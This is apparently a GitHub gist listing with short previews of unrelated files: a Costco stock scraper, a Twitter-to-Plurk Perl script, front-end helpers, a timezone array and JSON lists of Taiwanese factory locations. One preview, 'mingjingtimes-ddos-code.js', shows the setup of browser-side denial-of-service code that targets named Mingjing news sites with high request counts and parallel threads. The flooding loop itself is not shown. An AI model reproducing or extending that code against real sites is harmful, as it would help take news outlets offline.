View scapeCostco.js
var request = require('request');
var cheerio = require('cheerio');
var url = 'https://www.costco.com.tw/Baby-Care-Kids-Toys/Toys/Infant-%26-Preschool/VTech-Sit-To-Stand-Ultimate-Alphabet-Train/p/105123';
request(url, function(err, res, body){
var $ = cheerio.load(body);
var result = $('.stock-status').text().trim();
View mingjingtimes-ddos-code.js
if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) {
var MAX_TIME = 300000;
var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/'];
var MAX_COUNT = 100000000;
var TIMEGAP = 500;
var THREAD = 10;
var START_CLOCK = 1;
function unixtime() {
var dt = new Date();
View twitterToPlurk.pl
#!/usr/bin/env perl
use strict;
use warnings;
use 5.010;
use Data::UUID;
use DBI;
use HTTP::Request::Common;
use LWP::Simple;
View android-input-scroll-into-view.js
if (/Android */.test(navigator.appVersion)) {
window.addEventListener('resize', () => {
if (document.activeElement.tagName === 'INPUT') {
window.setTimeout(() => {
document.activeElement.scrollIntoViewIfNeeded()
}, 0)
}
})
}
View factory-num-10k.json
[{"name":"伍輪企業股份有限公司","lat":"24.9764601","lng":"121.2345903"},{"name":"安利日用品股份有限公司","lat":"25.1257367","lng":"121.5005259"},{"name":"陳氏強化玻璃股份有限公司","lat":"22.7039461","lng":"120.3433128"},{"name":"建哲有限公司","lat":"24.6806175","lng":"120.8741805"},{"name":"宏奇工業社","lat":"23.05935","lng":"120.216309"},{"name":"五福實業社","lat":"25.0713479","lng":"121.514263"},{"name":"順穎精密有限公司","lat":"24.1009999","lng":"120.519207"},{"name":"金炤工業有限公司","lat":"25.0492896","lng":"121.5933862"},{"name":"迦南通信工業股份有限公司","lat":"25.0478338","lng":"121.5841548"},{"name":"宏奇電腦用品有限公司","lat":"25.053857","lng":"121.587895"},{"name":"龍羽企業有限公司","lat":"25.0607706","lng":"121.613273"},{"name":"新豐塑膠有限公司","lat":"25.06109","lng":"121.61261"},{"name":"銓鴻鋼鋁業有限公司","lat":"25.063219","lng":"121.599767"},{"name":"名霖企業社","lat":"25.032142","lng":"121.416839"},{"name":"昇倫金屬有限公司","lat":"25.0496424","lng":"121.589797"},{"name":"樹樺電子股份有限公司","lat":"25.061364","lng":"121.602168"},{"name":"宜修企業有限公司","lat":"25.0535129","lng":"121.5862197"},{"name":"珩陞行生物科技股份有限公司","lat":"2
View factory-num-1000-test.json
[{"name":"伍輪企業股份有限公司","lat":"24.9764601","lng":"121.2345903"},{"name":"安利日用品股份有限公司","lat":"25.1257367","lng":"121.5005259"},{"name":"陳氏強化玻璃股份有限公司","lat":"22.7039461","lng":"120.3433128"},{"name":"建哲有限公司","lat":"24.6806175","lng":"120.8741805"},{"name":"宏奇工業社","lat":"23.05935","lng":"120.216309"},{"name":"五福實業社","lat":"25.0713479","lng":"121.514263"},{"name":"順穎精密有限公司","lat":"24.1009999","lng":"120.519207"},{"name":"金炤工業有限公司","lat":"25.0492896","lng":"121.5933862"},{"name":"迦南通信工業股份有限公司","lat":"25.0478338","lng":"121.5841548"},{"name":"宏奇電腦用品有限公司","lat":"25.053857","lng":"121.587895"},{"name":"龍羽企業有限公司","lat":"25.0607706","lng":"121.613273"},{"name":"新豐塑膠有限公司","lat":"25.06109","lng":"121.61261"},{"name":"銓鴻鋼鋁業有限公司","lat":"25.063219","lng":"121.599767"},{"name":"名霖企業社","lat":"25.032142","lng":"121.416839"},{"name":"昇倫金屬有限公司","lat":"25.0496424","lng":"121.589797"},{"name":"樹樺電子股份有限公司","lat":"25.061364","lng":"121.602168"},{"name":"宜修企業有限公司","lat":"25.0535129","lng":"121.5862197"},{"name":"珩陞行生物科技股份有限公司","lat":"2
View aqi-station-geo.json
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
View border.jsx
import styled from 'styled-components';
const isCurrent = (current, key) => current.group === key[0] && current.attr === key[1] ? true : false;
const hoverColor = '#9c9c9c';
const activeColor = '#00bbff';
const pressColor= '#6c6c6c';
export const BorderWrap = styled.div`
position: relative;
View javascript-promise-finally.js
// http://bluebirdjs.com/docs/api/finally.html
Promise.prototype.end = function(fn) {
return new Promise((resolve, reject)=>{
this.then((res)=>{
fn(false, res)
resolve()
})
.catch((er)=>{
fn(true, er)
View js-timezone-array.js
const timezone = [
'GMT-11:00 - Pacific/Midway',
'GMT-11:00 - US/Samoa',
'GMT-10:00 - US/Hawaii',
'GMT-09:00 - US/Alaska',
'GMT-08:00 - US/Pacific',
'GMT-08:00 - America/Tijuana',
'GMT-07:00 - US/Arizona',
'GMT-07:00 - US/Mountain',
'GMT-07:00 - America/Chihuahua',